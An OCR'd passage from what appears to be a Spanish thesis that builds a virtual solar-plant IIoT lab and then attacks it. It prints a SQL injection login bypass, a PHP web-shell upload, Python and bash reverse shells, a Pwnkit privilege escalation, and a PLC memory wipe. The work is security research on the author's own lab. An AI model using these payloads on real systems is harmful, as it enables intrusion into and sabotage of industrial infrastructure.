escrito en C que abre un socket y lo pone a escuchar en el puerto 102 esperando a recibir paquetes del
Gateway IoT. Se ha elegido este nimero de puerto para montar un escenario lo mas real posible, dado
que es el que utilizan los PLC de marca Siemens.

Cuando recibe un paquete del Gateway IoT mediante protocolo industrial, evalua a que opcion
corresponde y llama a una de las funciones que caracterizan el funcionamiento de un sistema de
placas solares reales.

7.3.4 Desarrollo de un script que cambie el angulo de inclinacién del
conjunto de placas solares al mas optimo por mes del ano

Otro requisito del PLC industrial es que fuese capaz de cambiar el angulo de inclinacion de las
placas al mas 6ptimo cada mes del aiio para, de esta manera, lograr la maxima eficiencia. Para ello
se ha utilizado el mddulo de Python apsheduler [14] configurado para, cada dia 1 a las 00h, leer la
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salida de la funcién que devuelve el dngulo 6ptimo y utilizarla para llamar a la funcién que modifica
el angulo de inclinacion de las placas.

Para que este script de Python arranque con el sistema y siempre corra en segundo plano se ha
creado un servicio de Systemd. Este servicio se encuentra en la siguiente ruta (/etc/systemd/system/up-
dateAngle.service) y el contenido del fichero es el siguiente:

[ Unit]
Description = Autoupdate angle

[ Service ]
ExecStart = python updateAngle.py
WorkingDirectory = /root

[Install]
WantedBy=multi —user. target

7.3.5 Puesta en marcha de una maquina virtual con GNU/Linux para el
PLC Industrial

Al igual que en los dos sistemas virtualizados anteriores, se va a montar una maquina sobre el
software Oracle VM VirtualBox. Esta maquina sélo esta conectada con la red interna IoT.

En cuanto al sistema operativo que va a correr, hemos optado de nuevo por Arch Linux por su
flexibilidad y ligereza. Con el objetivo de simplificar y como ocurre en muchos sistemas de este
tipo, solo se dispondra de usuario root. De nuevo, el hecho de tener solo el usuario root tiene unas
implicaciones en términos de seguridad que nos seran utiles para nuestro analisis y explotacion de
vulnerabilidades.

7.3.6 Conexion entre los tres componentes y bateria de pruebas

Una vez que se han puesto en marcha las tres maquinas, es necesario arrancar todas para com-
probar si se comunican correctamente entre ellas. Para ello, en primer lugar, dado que tenemos la
maquina del servicio web con una tarjeta de red conectada en modo adaptador puente, buscamos que
ip tiene asignada y probamos a entrar desde nuestro ordenador utilizando https y bajo el puerto 8443.

Como vemos que funciona, a continuacién deberemos probar que podemos operar todas las op-
ciones como apagar o encender el sistema, cambiar la inclinacion de las placas, etc. También debemos
ver una cantidad de energia en generacion en tiempo real que sea coherente con el momento del dia
en el que estamos.

Por ultimo, infiltraremos una maquina dentro de nuestra red interna y, utilizando el modo promis-
cuo de la tarjeta de red, observaremos el trafico utilizando Wireshark [84]. De esta manera probamos
a realizar acciones y vemos como estan compuestos cada uno de los paquetes que se envian entre
dispositivos (ver figura 7.1. Hay que tener en cuenta que los datos en bruto estan en hexadecimal.
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File Edit View Go Capture Analyze 5Statistics Telephony Wireless Tools Help

AODA®© +t BE@ 2 « > 68 « > 1

Destination Protocol Length Info
.005196718
.B851968609
.885254781
.BB5286820
.085314449
.B85473119
.B855070603
.B05543967
.BB5697898
.BB5723859
.B87489485
.B87555941
.0B7600094
.BB7877310
.BB7877370
.007914452
.BB7952596
.BBBT750780
.BB8T799406
.BB8872604
.B09072318
.Be9098190
.009145464

67

66

74 55631 -
74 182 - 55
66

86

66

66
86
66
66 55631 -
68 5555 - 3
66 5555 - 3
66 39364 -

coooocoolococo e o oltler caoea
celoceocooltlcoocee o ooftle oo ol o
coooocoolococo e o oltler caoea

ceooceococoltlccce o oftlee oce o

Ethernet II, Src: PcsCompu_ad:5f:86 (©8:00:27:ad:5f:86), Dst: PcsCompu_48:Ta:9¢
Internet Protocol Version 4, Src: 10 p.19, Dst: 10.0.0.20
Transmission Control Protocol, Src Port: 556031, Dst Port: 102, Seq: 21, Ack: 1,
TPKT - IS0 on TCP - RFC1006

Continuation data: ©76774770000706c63000001c25de08beRRESCSd

00 48 53 6b 40 00 40 06 3 27 00 Pa Ga )@ -

20 14 dé f7 00 66 30 42 27 31 7b 70 d4 80 : foB 'Ul{p
1 6 T4 Pa 00 00 01 @1 08 @ 9 57 00 65 W-e
5f 60 @7 67 74 77 G0 00 00 81 c2 _-gtw-- plc----]

00 8b 00 [pg 5c 5d <o [N]

Continuation data (...ion_data), 20 byte: Packets: 717 - Displayed: 717 (100.0%) : Profile: Default

Figura 7.1: Tréfico de la red interna del sistema IIoT caracterizado utilizando Wireshark
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7.4 Resultado

El resultado de esta implementacion del escenario de la prueba de concepto son tres maquinas
virtuales puestas en marcha sobre Oracle VM VirtualBox: el servidor web, el gateway IoT y el PLC-
Sim (ver figura 7.2).

9™ Servidor web
© powered Off

s | Gateway loT
© powered Off

s § PLC-Sim
© powered Off

Figura 7.2: Administrador de maquinas virtuales de Oracle VM VirtualBox

El servidor web es una maquina virtual que corre Ubuntu Server (ver figura 7.3) y aloja un servicio
web para la monitorizacion y control remoto de la instalacion (ver figuras 7.4 y 7.5).

Servidor web [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

Ubuntu 18.04 LTS servidorweb ttyl
Hint: Mum Lock an

z idorweb login: serw

& ird :

Last login: Wed Jun 29 09:51:14 UTC )

delcome to Ubuntu 18.0 S (GMNUALinux 4.15.0 generic x86_Gd)

I

#* Documentation:
M 1T

System information as of HWed Jun 29 09:54:06 UTC 2022

tem load: 0O I 100
of 1 9. (= . if: 0

L I I

Figura 7.3: Maquina virtual del servidor web
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Monitorizacion de placa solar

Constrasena: S

| Iniciar Sesi6n |

Figura 7.4: Pantalla de inicio de sesion del servicio web

Sistema de monitorizacion de placa solar

Estado: Encendido | Apagar |

Angulo de la placa: ° | Actualizar |

Energia generandose actualmente: 333 W

Figura 7.5: Vista general del monitor de control de la infraestructura

El gateway IoT y el PLC-Sim son dos maquinas virtuales que corren Arch Linux y alojan los
servicios mencionados en las secciones anteriores (ver figuras 7.6 y 7.7).
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Gateway loT [Running] - Oracle VM VirtualBox

File. Machine View Input Devices Help

Arch Linux 5.18.7-archl-1 (ttyl)

gateway login: root
Password:
Last login: Mon Jun 27 00:04:43 on ttyl
[root@gateway ~1# systemct] status gtuw
B gtw.service - Gateway IoT
Loaded: loaded (retcrsystemdrsystem-gtw.service: enabled: vendor preset:
fictive: active (rumming) since Wed 2022-06-29 09:50:20 UTC: 22min ago
Process: 265 ExecStartPre=-binssleep 5 (code=exited, status=0-SUCCESS)
Main PID: 316 (python)
Tasks: 2 (limit: 1144)
Memory: 50.9M
CPU: 3J41ims
CGroup: rsystem.slicersgtw.service
L316 python root-gateway.py

29 11:50:13 gateway systemd[1]1: Starting Gateway IoT...
29 09:50:20 gateway systemd[1]1: Started Gateway IoT.
29 09:50:20 gateway pythonl3161: rusrrlibrspython3.10-zite-packages-scapy~layerssipsec
29 09:50:20 gateway pythonl3161: cipher=algorithms.Bloufish,
29 09:50:20 gateway pythonl3161: rusr~rlib-spython3.10-site-packages scapy~layers~ipsec
29 09:50:20 gateway pythonl3161: cipher=algorithms .CASTS,

lines 1-17-17 (END)

Figura 7.6: Maquina virtual del Gateway IoT

PLC-Sim [Running] - Oracle VM VirtualBox
File  Machine View Input Devices Help

firch Linux 5.18.7-archl-1 (ttyl)

plc login: root
Fassword:
Last login: Wed Jun 29 10:14:34 on ttyl
[root@plc "~ 1# systemctl status plc
m plc.service — PLC Industrial
Loaded: loaded (retcrssystemd-ssystem-plc.service: enabled: vendor preset:
fictive: active (rumming) since Wed 2022-06-29 12:15:19 UTC: 1h 59min left
Main PID: 244 (plc)
Tasks: 1 (limit: 1144)
Memory: 7.4M
CPU: 13ms
CGroup: rsystem.slicesplc.service
L244 plc

12:15:19 plc systemd[1]1: Started PLC Industrial.

[root@plc ™ 1# systemctl status updateAngle
m updatefingle.service — fAutoupdate angle
Loaded: loaded (retcrssystemd/system-supdatefingle.service: enabled: vendor preset:
fictive: active (rumming) since Wed 2022-06-29 12:15:19 UTC: 1h 59min left
Main PID: 246 (python)
Tasks: 2 (limit: 1144)
Memory: 32.5M
CPU: Z10ms
CGroup: rsystem.slicerupdatefngle.service
L246 python updatefngle.py

un 29 12:15:19 plc systemd[1]: Started Autoupdate angle.

Figura 7.7: Maquina virtual del PLC-Sim
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Parte 111

Verificacion de la prueba de concepto
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Capitulo 8

Pentesting

En este capitulo, como resultado de nuestra prueba de concepto, que tiene como objetivo verificar
las posibilidades de explotacion de vulnerabilidades en entornos I1oT, se describird un ejemplo de
como se ha logrado comprometer la infraestructura que se ha caracterizado. Por motivos de
privacidad, se ha ocultado en las imagenes la direccién IP bajo la que se ha expuesto el sistema.

8.1 Compromiso del servidor web

En primer lugar, dado que el servicio web es la puerta de entrada a la infraestructura IIoT interna,
debemos centrarnos encontrar alguna vulnerabilidad que podamos explotar para tomar el control de
este ordenador y, a continuacion, podernos desplazar lateralmente por toda la red interna. En este
caso de ejemplo, seguiremos una estrategia definida por la siguiente secuencia ordenada de pasos: (i)
analizaremos la vulnerabilidad de la web a inyecciones SQL, (ii) obtendremos una reverse shell,
(iii) explotaremos una vulnerabilidad conocida que nos proporcione una escalada de privilegios
y (iv) realizaremos un desplazamiento lateral hasta el Gateway IoT.

8.1.1 Analisis de vulnerabilidad a inyecciones SQL

Para empezar, vamos a estudiar el grado de vulnerabilidad a inyecciones SQL de cada uno de los
campos de texto que podemos encontrar en la pagina web. Para ello comenzaremos con los dos pri-
meros campos a los que se puede acceder sin estar autenticados: los que se encuentran en la pagina de
inicio de sesion para introducir usuario y contrasefia.

En este sentido, vamos a intentar realizar un bypass de la pantalla de login suponiendo que,
como es muy probable, la consulta SQL que se va a ejecutar para realizar la autenticacion es similar
a la siguiente:

SELECT 1 FROM users WHERE user=’"<campo de usuario>’ AND pass="<campo de
contrasena>’

Si el servicio web no validase correctamente los campos de usuario y contrasefia, entonces no
habria inconveniente en utilizarlos para introducir texto que alterase la consulta SQL. Para ello, es
necesario afiadir algo a la consulta que haga que sea verdadera siempre. Finalmente se ha optado por
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introducir como usuario ’OR ’1=1’#y como contrasefia podemos introducir una cualquiera, ya que
esta parte de la sentencia, dado que se encuentra tras una almohadilla, se ignora. La consulta, por tanto,
quedaria de la siguiente manera:

SELECT 1 FROM users WHERE user=" OR ’1=1"# AND pass="xxxxx’

Monitorizacion de placa solar

Usuario:
Constrasena:

' Iniciar Sesién |

Figura 8.1: Credenciales utilizadas para hacer un bypass a la pantalla de inicio de sesion

Sistema de monitorizacion de placa solar

VNS

- e
7N

5.0

N\

Estado: Encendido | Apagar |

Angulo de la placa: m °  Actualizar |

Energia generandose actualmente: 333 W

Figura 8.2: Vista general del monitor con las funcionalidades que ofrece

Como se puede observar en las imagenes, el bypass ha sido exitoso y, en este momento, estamos en
disposicion de manejar el monitor a nuestro antojo para apagar/encender el sistema o mover el angulo
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de inclinacion de las placas solares.

Observando las cookies que almacena nuestro navegador sobre este servicio web, podemos ver
que hemos obtenido una cookie de sesion. Ademas, en la parte superior derecha del monitor, junto al
boton de cerrar sesion, podemos comprobar como el user con el que hemos accedido al servicio es
'OR ’1=1"#.

v |7 Cookies
& csrftoken
@ id

Nombre id

Contenido 40abb4ad-e563-4519-bfe3-ca3453a9ae

Figura 8.3: Cookie de sesién obtenida tras el bypass del inicio de sesion

Figura 8.4: Nombre de usuario con el que se ha iniciado sesion

8.1.2 Obtencion de una reverse shell

En este punto ya tenemos la certeza de que el servicio web no valida correctamente los campos
de texto y, por tanto, es vulnerable a inyecciones SQL. Como en este caso queremos ir un paso mas
alla, vamos a tratar de explotar esta vulnerabilidad para inyectar un payload PHP que sea capaz de
ejecutar codigo en la maquina.

A continuacion, a fin de recopilar mas informacién sobre el servicio, vamos a lanzar un escaneo
con nmap [53] contra la ip del servidor. Para ello utilizaremos tanto la opcion -sV, que nos permite
reconocer servicios; como la opcion -O, que nos permite reconocer el sistema operativo.
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[javi@xpsl3 ~]$ sudo nmap -sV -0
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-27 00:46 CEST
Nmap scan report for
Host is up (0.00043s latency).
Not shown: 996 closed tcp ports (reset)
STATE SERVICE VERSION
open ssh OpenSSH 7.6pl Ubuntu 4 (Ubuntu Linux; protocol 2.0)
open http Apache httpd 2.4.29
open http Apache httpd 2.4.29
8443 /tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 08:00:27:F7:D5:89 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:Llinux:Llinux_kernel:5
0S details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: ; 0S: Linux; CPE: cpe:/o:Llinux:Llinux_kernel

0S and Service detection performed. Please report any incorrect results at ht
rg/submit/
Nmap done: 1 IP address (1 host up) scanned in 14.15 seconds

Figura 8.5: Resultado obtenido tras el escaneo con nmap

Como se puede observar, tenemos un servicio web levantado sobre el puerto 8443 bajo Apache
httpd 2.4.29 y un servidor SSH en el puerto 22 bajo OpenSSH 7.6p1. También nos indica que se trata
de una maquina virtual de Oracle VirtualBox y que corre Ubuntu con una version de kernel de Linux
comprendida entre la 4.15 y la 5.6.

Como ya sabemos que el servidor web es un Apache, podemos imaginar que es muy probable que
los archivos del servicio se encuentren en la ruta por defecto: /var/www. A la hora de elegir sobre qué
directorio realizar la inyeccion del fichero PHP, si tenemos en cuenta que los archivos estaticos (como
la imagen animada de la placa solar que encontramos en el monitor) se acceden desde la ruta static/,
los mas seguro es empezar a probar por /var/www/static.

El fichero PHP a inyectar leera un parametro por GET, lo ejecutara como un comando del sistema
y nos presentara la salida por pantalla. Su contenido sera el siguiente:

<?php system ($_GET[”cmd”]); ?>

Para subir este archivo a la carpeta /var/www/static nos serviremos de los ya mencionados campos
de inicio de sesion que son vulnerables a inyecciones SQL utilizando la sentencia LOAD FILE. Con
este fin, en la pantalla de inicio de sesién pondremos una contrasefia cualquiera y como usuario lo
siguiente:

> UNION SELECT ’<?php system($_GET["cmd”]); ?>" INTO OUTFILE
’Jvar/www/static/cmd.php’#

Como no se validan correctamente los campos de usuario y contrasefia, la consulta completa que
se envia al SGBD es la siguiente:
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SELECT 1 FROM users WHERE user=" UNION SELECT ’<?php system($_GET["cmd”]); ?>’
INTO OUTFILE ’/var/www/static/cmd.php’#’ AND pass="xxXxxxX’;

Al pulsar el boton de iniciar sesion recibimos una alerta que nos informa de que el usuario o la
contrasefia introducidos son incorrectos. Esto es algo normal, ya que esta consulta nunca va a devolver
nada. Lo que tenemos hacer ahora es comprobar si hemos tenido éxito entrando el la web con la ruta
static/cmd.php y afiadiendo un parametro por GET.

C 8 | @ https:// :8443/static/cmd.php?cmd=whoami

www-data

Figura 8.6: Ejecucion de un comando de sistema en el servidor web

Como se puede observar, hemos tenido éxito y podemos ejecutar comandos en el sistema como
usuario www-data, es decir, el usuario del servidor Apache. A continuacion, dado que podemos eje-
cutar codigo, realizaremos una reverse shell contra nuestra maquina. Para ello, en primer lugar, la
pondremos a escuchar en el puerto 8080 utilizando netcat con el siguiente comando: nc -Ivp 8080.

Una vez que tengamos nuestra propia maquina escuchando, vamos a ejecutar en el servidor un
script de Python que nos permita abrir una reverse shell. Para ello abriremos la web con la siguiente
ruta:

static/cmd.php?cmd=python3 -c *import socket,subprocess,os;s=socket.socket(socket. AF_INET,
socket. SOCK_STREAM);s.connect((”<ip de nuestra mdquina>",8080));o0s.dup2(s.fileno(),0);
os.dup?2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([/bin/sh”,i”]);’

Figura 8.7: Ejecucion del script de Python que abre la reverse shell contra nuestro ordenador

[Javi@xpsl3 ~]$ nc -lvp 8080
Connection from 144110
/bin/sh: ©: can't access tty; job control turned off

$
$

S whoami
www-data

Figura 8.8: Shell remota del servidor en nuestro ordenador

55



8.1. COMPROMISO DEL SERVIDOR WEB CAPITULO 8. PENTESTING

8.1.3 Escalada de privilegios utilizando una vulnerabilidad conocida

Conforme se puede apreciar, hemos logrado la shell remota del servidor en nuestro ordenador bajo
el usuario de Apache. Lo primero que vamos a hacer es ejecutar LInPEAS [58], un script que busca
posibles formas de escalar privilegios en entornos Linux/Unix*/MacOS. Para ello, ejecutaremos el
siguiente comando:

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

De toda la informacién que nos presenta esta herramienta, nos vamos a centrar en el siguiente
conjunto de CVE (Common Vulnerabilities and Exposures) a las que probablemente sea vulnerable el
sistema:

Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

Exposure: probable

Tags: [ ubuntu=10|11]12|13]|14|15|16|17]|18|19|20|21 ],debian=7|8|9|10]|11, fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+]

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-
sudo. txt

Exposure: probable

Tags: mint=19,[ ubuntu=18|20 ], debian=10

Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+]

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-
sudo. txt

Exposure: probable

Tags: centos=6|7|8,[ ubuntu=14|16|17]|18|19|20 ], debian=9]|18@

Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+]

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712

Exposure: probable

Tags: [ ubuntu=18.04 ]J{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}

Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sp
0its/45886.z1p

Comments: CONFIG_USER_NS needs to be enabled

Figura 8.9: Conjunto de CVE a las que probablemente sea vulnerable el servidor web

Vamos a probar si el sistema es vulnerable a la primera de ellas, la CVE-2021-4034 [82]. Esta
CVE permite una escalada de privilegios local basandose en una vulnerabilidad de la utilidad pkexec.
Para probarla, vamos a descargar desde GitHub el exploit [16] que nos sugiere LinPEAS y vamos a
seguir las instrucciones que contiene.
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S whoami

www-data

$ git clone https://github.com/berdav/CVE-2021-4034
Cloning into 'CVE-2021-4034'...

$ cd CVE-2021-4034

$ ./cve-2021-4034.sh

cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c

cc -Wall cve-2021-4034.c -0 cve-2021-4034

echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.

cp -f /bin/true GCONV_PATH=./pwnkit.so:.

whoam1
root

Figura 8.10: Escalada de privilegios en el servidor web utilizando la CVE-2021-4034

Como se puede ver, hemos logrado obtener de forma exitosa una shell como usuario root en el
servidor web utilizando esta vulnerabilidad conocida. En este momento estamos en disposicion de
ejecutar cualquier tipo de comando sin ninguna restriccién.

8.1.4 Obtencion de una conexion via SSH con el servidor

Dado que la shell que hemos obtenido tiene algunas limitaciones para visualizar correctamente
la salida de algunos comandos y para mayor comodidad, vamos a aprovechar que el servidor tiene
levantado un OpenSSH en el puerto 22 (ver figura 8.5) para abrir una sesion SSH.

En primer lugar, desde la shell con privilegios de superusuario, vamos a cambiar la contrasefia del
usuario server. Para ello utilizaremos el comando passwd server e introduciremos la nueva contrasefia
(ver figura 8.11).

passwd server
Enter new UNIX password: password

Retype new UNIX password: password
passwd: password updated successfully

Figura 8.11: Cambio de contrasefia del usuario server

A continuacién, como conocemos la nueva contraseia del usuario server, abriremos una sesion
SSH desde nuestro ordenador contra la ip del servidor web (ver imagen 8.12).
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[javi@xpsl3 ~]% ssh server@E

he authenticity of host ' ( }J' can't be establ
D25519 key fingerprint is SHA256:gR1gcRMFwQLY821RDpPcx+LiPkW4VF899H9+
his key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? vy
arning: Permanently added ' ' (ED25519) to the list of kno
server(@ 's password:

elcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-188-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sun Jun 26 23:19:41 UTC 2022

System load: 0. Processes:

Usage of /: 9.9% of 9.78GB Users logged 1in:

Memory usage: 60% IP address for enp@s3:

Swap usage: 0% IP address for enp@s8: 10.0.0.2

* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

90 packages can be updated.
93 updates are security updates.

New release '20.04.4 LTS' available.

Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jun 26 21:06:09 2022 from

$ ]

Figura 8.12: Conexion SSH con el servidor web

Como el usuario server esta dentro del grupo wheel, podremos ejecutar cualquier comando como
superusuario con sudo utilizando la contrasefia que establecimos anteriormente.

8.2 Desplazamiento lateral al Gateway loT

8.2.1 Localizacion de Gateway loT

Aprovechando que disponemos de privilegios de superusuario vamos a descargar nmap[53] para
descubrir la red interna. Para saber cual es la red interna, utilizaremos el comando ip address. En
este caso, la red interna es la 10.0.0.0/8.
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$ sudo apt install nmap
[sudo] password for server:
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacion de estado... Hecho
Paquetes sugeridos:
ndiff

Se instalaran los siguientes paguetes NUEVOS:

nmap
® actualizados, 1 nuevos se instalaran, 0 para eliminar
Se necesita descargar 5.174 kB de archivos.
Se utilizaran 24,0 MB de espacio de disco adicional desp
Des:1 http://archive.ubuntu.com/ubuntu bionic/main amdé64
Descargados 5.174 kB en 2s (2.803 kB/s)

Figura 8.13: Descarga de nmap utilizando apt

$ sudo nmap -sn 10.0.0.0/8

Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-26 23:37 UTC
Nmap scan report for 10.0.0.10

Host is up (0.00026s latency).

MAC Address: 08:00:27:B0:1D:38 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.20

Host is up (0.00070s latency).

MAC Address: 08:00:27:B0:1D:38 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.50

Host is up (-0.064s latency).

MAC Address: 08:00:27:7A:DE:93 (Oracle VirtualBox virtual NIC)
Nmap scan report for servidorweb (10.0.0.2)

Host 1is up.

Figura 8.14: Descubrimiento de la red interna 10.0.0.0/8 utilizando la opcion -sn de nmap

Como se puede comprobar tenemos otros dos dispositivos dentro de la red, el 10.0.0.10 y el
10.0.0.20. Suponiendo que esta red interna es exclusiva para el sistema IloT podemos imaginar que
se trata de un Gateway [oT y de un PLC industrial. En este momento, lo que nos interesa es compro-
meter el Gateway IoT, dado que es el dispositivo que tiene el driver con el que se controla el PLC.

Para saber como se comunica el servidor web y el PLC vamos a estudiar los scripts de Python que
se ejecutan. Para ello vamos a traernos estos ficheros mediante scp a nuestro ordenador utilizamos el

siguiente comando:
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scp /var/www/src/servWeb/* <usuario>@<ip>:<Directorio>

Si analizamos estos ficheros, podemos observar como en el archivo funciones.py existe una fun-
cion llamada send2gw que podemos suponer que se trata de la encargada de enviar la informacioén al
Gateway.

(action, content= ):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('10.0.0.10°", )
sock.connect(server_address)

packet = propProto(action=action, error=0, content=content)
sock.sendall(bytes(packet))

data = sock.recv(50)

sock.close()

Figura 8.15: Funcion del servidor web para enviar peticiones al Gateway

Esta funcion nos confirma que la ip del Gateway es la 10.0.0.10 y que se comunica con el mediante

un protocolo propio y el puerto 5555. Ademas, se puede observar como no se valida el contenido que
se envia al Gateway.

8.2.2 Inyeccion de codigo para obtener una reverse shell

Dado que en el apartado anterior vimos como el servicio web no valida el contenido que envia, si
el Gateway tampoco lo hace y llama directamente al driver ejecutando un comando del sistema, puede
que sea vulnerable a una inyeccién de codigo. De esta manera, vamos a probar a inyectar cédigo
desde el tinico campo donde podemos afiadir contenido, el de modificar el angulo de la placa.

El cddigo que vamos a intentar inyectar tiene como fin para abrir una reverse shell del Gateway.
Como no tiene conexion directa a internet, tenemos que usar el servidor web como intermediario. En
primer lugar, dado que ya tenemos una reverse shell del servidor web, vamos a ponerle a escuchar
en el puerto 8080 con el comando nc -Ivp 8080. A continuacion vamos a introducir en el campo de
modificar angulo del monitor web lo siguiente:

27 & bash -i >& /dev/tcp/10.0.0.2/8080 0>&1

Angulo de la placa: |&1|° [Actualizar |

Figura 8.16: Inyeccién de codigo al Gateway desde el campo para modificar el angulo de inclinacion
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$
$
$ nc -lvp 8080
Listening on [0.0.0.0] (family @, port 8080)

Connection from 10.0.0.10 35402 received!

bash: cannot set terminal process group (303): Inappropriate ioctl for device
bash: no job control in this shell

[rootRgateway /]# I

Figura 8.17: Obtencion de la reverse shell del Gateway utilizando el servidor web como intermediario

Tal y como se puede ver, hemos tenido éxito en la inyeccién de codigo y hemos obtenido una
reverse shell del Gateway IoT como usuario root, es decir, con todos los privilegios.

8.3 Borrado de la memoria del PLC Industrial

Dado que tenemos acceso al Gateway IoT, ademas con usuario root, en primer lugar vamos a
analizar que se esta ejecutando. Para ello utilizamos el comando systemctl status.

gtw.service
326 python /root/gateway.py
400 /bin/sh -c "/root/driver move 27 & bash -i >& /dev/tcp/10.0.0.2/8080 0>&1"
402 bash -i
410 systemctl status

Figura 8.18: Servicio que esta corriendo el Gateway [oT

Como se puede observar, el servicio esta llamando a un driver que se encuentra en la ruta /roo-
t/driver. Si probamos a ejecutar este driver nos aparece el siguiente menu de ayuda:

[root@gateway ~]# /root/driver
Jroot/driver

khkkkkkxhkkkkxdk PLC Driver #kxkxkkkkkxkkks
usage: ./driver <action> [<value>]

-— Actions: —-

on: Start the system
off: Stop the system
move <value>: Change system inclination
energy: Returns power in generation
status: Returns system status
angle: Returns system inclination
reset: Reset system memory

Figura 8.19: Menu de ayuda del driver del PLC
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En este caso vemos que se trata del driver que controla el funcionamiento del PL.C Industrial
que actua directamente sobre las placas y su sistema de guiado. Si analizamos las funciones que po-
demos realizar con este driver, encontramos una muy interesante y que no se encuentra disponible en
el servicio web: hacer un reset de la memoria del PL.C.

De conseguir realizar esta accién con éxito no solo lograriamos parar el sistema, sino también
desconfigurar el autémata que lo gestiona. Por este motivo, vamos a probar a ejecutar el comando y
ver que ocurre.

[rootegateway ~]# /root/driver reset

/root/driver reset
ok[root@gateway ~]#

Figura 8.20: Ejecucion del comando reset del driver

:8443/monitor

Se ha producido un error en la carga de datos. Contacte con el administrador.

Figura 8.21: Vista del monitor tras el borrado de memoria del PLC

Se puede observar como el borrado de memoria del PLC ha sido exitoso y el servicio ha dejado
de funcionar por completo. Asi se nos muestra por pantalla un error que nos informa de que no se
han podido cargar los datos y nos insta a contactar con el administrador del sistema.

Hemos visto, por tanto, hasta que punto se pueden explotar un conjunto de vulnerabilidades en

sistemas I1oT para tomar por completo la instalacién y poder manipularla o incluso desconfigurarla
para que deje de funcionar.
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Conclusiones

Una vez finalizado el proyecto, podemos afirmar que hemos cumplido el objetivo principal,
que era desarrollar una prueba de concepto (PoC) para verificar las posibilidades de explotacion de
vulnerabilidades de ciberseguridad sobre un caso de uso que caracterizase un sistema de monitoriza-
cion y control remoto de una instalacion de energia solar conectada a Internet.

Consideramos cumplido este objetivo principal porque hemos analizado (ver capitulo 5), disefiado
(ver capitulo 6) e implementado (ver capitulo 7) una caracterizacion de un entorno I1oT real basado en
un caso de uso de una instalacion solar; y, a continuacion, hemos utilizado este entorno para verificar
la prueba de concepto mediante el analisis y explotacion de vulnerabilidades hasta llegar a compro-
meter el sistema por completo (ver capitulo 8).

De igual manera, podemos afirmar que hemos cumplido la serie de objetivos generales que se
habian planteado inicialmente:

= Se plante6 que el entorno IIoT caracterizado debia contar con una infraestructura virtualizada
en dos capas: Frontend y Backend. Si consideramos el capitulo de disefio de la infraestructura
(ver capitulo 6 y especialmente figura 6.1), se puede observar como se ha realizado la division
del sistema en estas dos capas. Ademas, si nos fijamos en el capitulo de implementacion de
la infraestructura (ver capitulo 7), podemos comprobar como cada uno de estos elementos del
sistema se han puesto en marcha sobre maquinas virtuales. Por tanto, podemos considerar este
objetivo como cumplido.

= Otro de los objetivos generales del trabajo era disponer de un servicio de monitoreo de la ins-
talacion energética basado en una pagina web expuesta a Internet que permitiese las siguientes
funcionalidades: ver la energia que se esta generando en tiempo real, apagar o encender el sis-
tema y modificar el angulo en que se encuentran las placas. En este sentido, si accedemos al
servicio web que se ha implementado, podemos comprobar de forma sencilla que cuenta con
todas estas funcionalidades. Por tanto, podemos dar este objetivo como cumplido.

= También se propuso que el Backend debia estar compuesto por dos subsistemas: un Gateway
IoT, que hace de interfaz IT-OT; y un PLC industrial simulado (PLC-Sim), capaz de caracterizar
el comportamiento de una instalacion fotovoltaica real. Si observamos los apartados de disefio
(ver capitulo 6) e implementacion de la infraestructura (ver capitulo 7), veremos como se han
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representado ambos elementos del Backend y como se ha desarrollado el conjunto de funciones
que simulan el comportamiento de un sistema fotovoltaico real. Por tanto, podemos dar este
objetivo como cumplido.

= Otros dos de los objetivos generales que se planteaban eran los siguientes: un analisis de vul-
nerabilidades sobre sistemas IoT con servicios de autenticacion web abiertos a la red que se
apoyan en bases de datos de tipo SQL; y un estudio y documentacion de técnicas, tacticas y
procedimientos utilizados para comprometer un caso de uso basado en la monitorizacién de una
instalacion energética de forma remota. Ambos objetivos han quedado satisfechos en el capi-
tulo de Pentesting (ver capitulo 8), en el que se muestra un ejemplo de cémo se ha comprometido
la infraestructura.

= El ultimo de los objetivos generales que habiamos propuesto era era extraer una serie de con-
clusiones que se pudieran trasladar a sistemas reales para reducir el riesgo de compromiso. Este
objetivo se va a satisfacer a continuacion, en el apartado de aportaciones.

9.1 Aportaciones

En esta seccion, tal y como se plante6 en el capitulo de objetivos, vamos a elaborar un listado
de buenas practicas que, trasladadas a sistemas IIoT reales, reduzcan su riesgo de compromiso. Es
importante destacar que las recomendaciones que se van a exponer a continuacién son el resultado de
lo aprendido durante todo el desarrollo de la prueba de concepto y constituyen una de las principales
cosas que me ha aportado el realizar el trabajo. El listado de buenas practicas que se ha elaborado es
el siguiente:

